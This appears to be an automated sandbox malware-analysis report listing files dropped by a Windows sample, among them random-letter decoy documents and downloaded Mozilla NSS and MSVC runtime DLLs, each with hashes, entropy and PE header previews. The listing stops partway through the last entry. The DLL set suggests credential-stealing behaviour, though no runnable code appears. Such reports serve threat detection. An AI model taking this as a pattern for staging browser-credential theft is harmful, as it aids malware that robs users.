SHA-512:	8AE0BE927B1520411DA89CACBDA119E4C140F4B1A0D31FF619EB9B1482100558695CF7E408F400B07414059CF073038B7F8C91E14F1C44C45C4966120F0435C7
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="295851" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\NVWZAPQSQL.docx

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6998645060098685
Encrypted:	false
SSDEEP:	24:FzrJLVfPTlXwAGfwXz0vRDC0aYECjYTixDXXwDyDFdJCSuHFF03T:FRLVHTlXwAGEoVCRYF0EDXgDVFHUj
MD5:	1676F91570425F6566A5746BC8E8427E
SHA1:	0F922133E2BEF0B48C623BEFA0C77361F6FA3900
SHA-256:	534233540B43C2A72D09DBF93858ECD7B5F48376B69182EDBCA9983409F21C87
SHA-512:	07D3CA8902964865FE9909054CF90DA1852678FBE58B1C0A8C2DBA2359A16DCBD43F23142D957DB9C1A8C2A1811EF4FEA74B0016A6F469538366B4FF01C8A146
Malicious:	false
Preview:	NVWZAPQSQLDLCZFLTMOWSKLFWOMMGYWWTZSPFFTDRHOTSSRKDGSJCIGMJJNKHMSAEMKBPGYCFVANNLUHHUMQOHINWJABNFIWWWZXJLCANQSKWMIWKPMVTCWFUMQBAGWZRWHRCMJDSNPGGGNECNQGPIZXLBIMLXMHDDXDKVYPEKRCNITDGJJNAEAATOVDDPBUDYWRPDYWARJTFXBUUZABBVURIWKONIVMPCYVUBTOTCIJJVRWYUNYHAFJZUMVTOIXZGAVVNSRENTVPHFLSLFWBLPFQDMQCJIHRXSQOTPSPDZKXCRBHZXDQIECBJTNIRGCACNADPHRWIVAWGPANEMHGPPPARWYWAOAHPWQLEGOBGVNWVBIFLAEOZYELRFOEZQCQIXCQBUKZGPOQFLHFLCFTYWBDGCWMDWICTICWVZEAQNJOOVCGQZYTBBXQPEYFQMSMETMKKZMRGXXLCDXDEEEJKZAUNEWZONYMVVIZOWQRUQYNOEFMWEVWXFAZRHGHUXGAYODAXDNQONZPVBKRYIOLZJIYSHJSCEPYVMYISKJIWPKVGUQBNLZCUFGXBFZDDRGUMCLJGJPDAZKZLRMDSBFEJQYNNKTHBMJMUHVUOIVZRULJFFYIUMOHUGCJUYZGXKXNIWZUKRIYDZATEOXGMHUPOOBIHEEVPKQEZDDWJHKEKLNTMWMDCFDOYCCDOERYFZNFUDEHYXIBQAVVOHQNIEWZODOFZDFJSWYCJMWWOIZSCZSZBGOIFHRDBXHKMCCLSYNVVXYLWKXEKVHIZEBIBHWMXDXEGZDYWRROMYHTDQVCLXOGVHWHFNIDZOXWTTPAMAKJIYLNQIEDSCCTSBLPHTTGLCIYXXWIBXAGYBACOKOTPPBKACWQBYRTKFMCSSRYQNESLPTLSLCWCSLHOGHNCGUFWMYXDBUFSOKFIDUIBHTQJFIQTVZZVIZEWTBSHJWKQXGUWLFKNDUSKPDSMJNJJNEEOWEHOKTNZWRDNOXWJEK

C:\ProgramData\NVWZAPQSQL.xlsx

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6998645060098685
Encrypted:	false
SSDEEP:	24:FzrJLVfPTlXwAGfwXz0vRDC0aYECjYTixDXXwDyDFdJCSuHFF03T:FRLVHTlXwAGEoVCRYF0EDXgDVFHUj
MD5:	1676F91570425F6566A5746BC8E8427E
SHA1:	0F922133E2BEF0B48C623BEFA0C77361F6FA3900
SHA-256:	534233540B43C2A72D09DBF93858ECD7B5F48376B69182EDBCA9983409F21C87
SHA-512:	07D3CA8902964865FE9909054CF90DA1852678FBE58B1C0A8C2DBA2359A16DCBD43F23142D957DB9C1A8C2A1811EF4FEA74B0016A6F469538366B4FF01C8A146
Malicious:	false
Preview:	NVWZAPQSQLDLCZFLTMOWSKLFWOMMGYWWTZSPFFTDRHOTSSRKDGSJCIGMJJNKHMSAEMKBPGYCFVANNLUHHUMQOHINWJABNFIWWWZXJLCANQSKWMIWKPMVTCWFUMQBAGWZRWHRCMJDSNPGGGNECNQGPIZXLBIMLXMHDDXDKVYPEKRCNITDGJJNAEAATOVDDPBUDYWRPDYWARJTFXBUUZABBVURIWKONIVMPCYVUBTOTCIJJVRWYUNYHAFJZUMVTOIXZGAVVNSRENTVPHFLSLFWBLPFQDMQCJIHRXSQOTPSPDZKXCRBHZXDQIECBJTNIRGCACNADPHRWIVAWGPANEMHGPPPARWYWAOAHPWQLEGOBGVNWVBIFLAEOZYELRFOEZQCQIXCQBUKZGPOQFLHFLCFTYWBDGCWMDWICTICWVZEAQNJOOVCGQZYTBBXQPEYFQMSMETMKKZMRGXXLCDXDEEEJKZAUNEWZONYMVVIZOWQRUQYNOEFMWEVWXFAZRHGHUXGAYODAXDNQONZPVBKRYIOLZJIYSHJSCEPYVMYISKJIWPKVGUQBNLZCUFGXBFZDDRGUMCLJGJPDAZKZLRMDSBFEJQYNNKTHBMJMUHVUOIVZRULJFFYIUMOHUGCJUYZGXKXNIWZUKRIYDZATEOXGMHUPOOBIHEEVPKQEZDDWJHKEKLNTMWMDCFDOYCCDOERYFZNFUDEHYXIBQAVVOHQNIEWZODOFZDFJSWYCJMWWOIZSCZSZBGOIFHRDBXHKMCCLSYNVVXYLWKXEKVHIZEBIBHWMXDXEGZDYWRROMYHTDQVCLXOGVHWHFNIDZOXWTTPAMAKJIYLNQIEDSCCTSBLPHTTGLCIYXXWIBXAGYBACOKOTPPBKACWQBYRTKFMCSSRYQNESLPTLSLCWCSLHOGHNCGUFWMYXDBUFSOKFIDUIBHTQJFIQTVZZVIZEWTBSHJWKQXGUWLFKNDUSKPDSMJNJJNEEOWEHOKTNZWRDNOXWJEK

C:\ProgramData\PALRGUCVEH.xlsx

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\ProgramData\SQSJKEBWDT.docx

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698473196318807
Encrypted:	false
SSDEEP:	24:yRweZ+GANSA1E8ftV/VhmiY4WFk1Mu7mtKmj1KVVrsfmbG:abZ+X1E8lVNhmNA1P76KmxKamK
MD5:	4D0D308F391353530363283961DF2C54
SHA1:	59DC2A289D6AB91E0CBD287A0F1D47E29BAE0C07
SHA-256:	6D4D77F7AD924168358F449E995C13B1072F06F7D8A464C232E643E2BD4DFF09
SHA-512:	DBF8C59E10706B4E220A6F15ADF4E4BAC5271F9477A5C32F8C61943A0A9318D50AD1A2E00E2BDF49DBA842B603545C49F9C36698802B3CDFE1F51FEC0C214B7A
Malicious:	false
Preview:	SQSJKEBWDTQPYRJUMTXHILYOMMANPJPHHMRHFVWTZEPXAIAVKTSBZRYUTWHNFQIECJFXGKPUTVPJATJGMKUHXJODTESNRMMJTXWENSGOWPBKXVHEEJMAGWUGYELOFGDDMEXBMBPCQOZDIQJHWWTSSVNGZLVHCHBZNJSYUOTWAPZJKFXWFCXQUQCBQYKVYKKKLNXSSSSLGTAFUMEJNHNRUGIMMETQDZKJCJZPRVXTSJLLHAUIPPNLEBPEUBCKHAPQUFAGPBYQCGICNBXZSXWAJNTKCUOBGQDHMCHIJBTKFTHSCPEBQXTOJKUAWTWRXEPYUIVUBKOGJQVRNBCCKFIMUIRPTIPNOIKNYUBFQMLTBCEFKXWKFTLKOEFALEANNDBOMFEYCLJVLOGSDFYCVBHQLAHJAEUYVZUKKYJAFJZPGGRXWJYMLQJGLJJPLVWQZTEJZVFZAIXBTWSNPXWYEWJSPNEXNORNZGESIRMDWDAAOUYCCNJQHBKTFVBSDSYVEQCQSBURVVYQIWJIGTJQDEZYGUHFKDWPAZGTXJFCGXCCHSPAITPOYIKUIZLMXTHWETVEIEWMJFHZRXBWPEKERORJFPHCCESXPZRWMEWGFCALFMDGOIEYAUSWWMBCHUQFBDJAZGNOFCHHPWSPGMHXGUSYBEKNZGGOHLEYLHJOUACYWSDKSJOOWHEPLCCKEWYVGVDSYJISOXMVCTJOSETWHUFBVDRYYAHSNIHPIRACNMMCDXLNSSFMVYGREIDELWCRHNKSOHQZMWMXEQMSXGXGWJQEDVLZMOLCVOBDXALQOHTEQUQCXKBTZHLAPBTYYAAPCTPIOGNQTMUINQRWRUZPUNQRXBMEDXPKAFCNTHZHZNOSMHOZZDSRACZMUSFUZGUJWIHKQKPTYZQWGZAUVTCZBLLEBGRXXRHNYNRCEMXSYIJTSCGAJZWVATKNNHCIBGACCGABGJJVWJDJTYOTKQWITZPWLFTBKVEPEVHMSUDPVSVB

C:\ProgramData\SQSJKEBWDT.xlsx

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.698473196318807
Encrypted:	false
SSDEEP:	24:yRweZ+GANSA1E8ftV/VhmiY4WFk1Mu7mtKmj1KVVrsfmbG:abZ+X1E8lVNhmNA1P76KmxKamK
MD5:	4D0D308F391353530363283961DF2C54
SHA1:	59DC2A289D6AB91E0CBD287A0F1D47E29BAE0C07
SHA-256:	6D4D77F7AD924168358F449E995C13B1072F06F7D8A464C232E643E2BD4DFF09
SHA-512:	DBF8C59E10706B4E220A6F15ADF4E4BAC5271F9477A5C32F8C61943A0A9318D50AD1A2E00E2BDF49DBA842B603545C49F9C36698802B3CDFE1F51FEC0C214B7A
Malicious:	false
Preview:	SQSJKEBWDTQPYRJUMTXHILYOMMANPJPHHMRHFVWTZEPXAIAVKTSBZRYUTWHNFQIECJFXGKPUTVPJATJGMKUHXJODTESNRMMJTXWENSGOWPBKXVHEEJMAGWUGYELOFGDDMEXBMBPCQOZDIQJHWWTSSVNGZLVHCHBZNJSYUOTWAPZJKFXWFCXQUQCBQYKVYKKKLNXSSSSLGTAFUMEJNHNRUGIMMETQDZKJCJZPRVXTSJLLHAUIPPNLEBPEUBCKHAPQUFAGPBYQCGICNBXZSXWAJNTKCUOBGQDHMCHIJBTKFTHSCPEBQXTOJKUAWTWRXEPYUIVUBKOGJQVRNBCCKFIMUIRPTIPNOIKNYUBFQMLTBCEFKXWKFTLKOEFALEANNDBOMFEYCLJVLOGSDFYCVBHQLAHJAEUYVZUKKYJAFJZPGGRXWJYMLQJGLJJPLVWQZTEJZVFZAIXBTWSNPXWYEWJSPNEXNORNZGESIRMDWDAAOUYCCNJQHBKTFVBSDSYVEQCQSBURVVYQIWJIGTJQDEZYGUHFKDWPAZGTXJFCGXCCHSPAITPOYIKUIZLMXTHWETVEIEWMJFHZRXBWPEKERORJFPHCCESXPZRWMEWGFCALFMDGOIEYAUSWWMBCHUQFBDJAZGNOFCHHPWSPGMHXGUSYBEKNZGGOHLEYLHJOUACYWSDKSJOOWHEPLCCKEWYVGVDSYJISOXMVCTJOSETWHUFBVDRYYAHSNIHPIRACNMMCDXLNSSFMVYGREIDELWCRHNKSOHQZMWMXEQMSXGXGWJQEDVLZMOLCVOBDXALQOHTEQUQCXKBTZHLAPBTYYAAPCTPIOGNQTMUINQRWRUZPUNQRXBMEDXPKAFCNTHZHZNOSMHOZZDSRACZMUSFUZGUJWIHKQKPTYZQWGZAUVTCZBLLEBGRXXRHNYNRCEMXSYIJTSCGAJZWVATKNNHCIBGACCGABGJJVWJDJTYOTKQWITZPWLFTBKVEPEVHMSUDPVSVB

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: w3WOJ1ohgD.exe, Detection: malicious, Browse Filename: R0hb7jyBcv.exe, Detection: malicious, Browse Filename: g77dRQ1Csm.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: mJVVW85CnW.exe, Detection: malicious, Browse Filename: Vk2yYa9dHl.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: w3WOJ1ohgD.exe, Detection: malicious, Browse Filename: R0hb7jyBcv.exe, Detection: malicious, Browse Filename: g77dRQ1Csm.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: mJVVW85CnW.exe, Detection: malicious, Browse Filename: Vk2yYa9dHl.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\bUcIhJ4VHm.exe
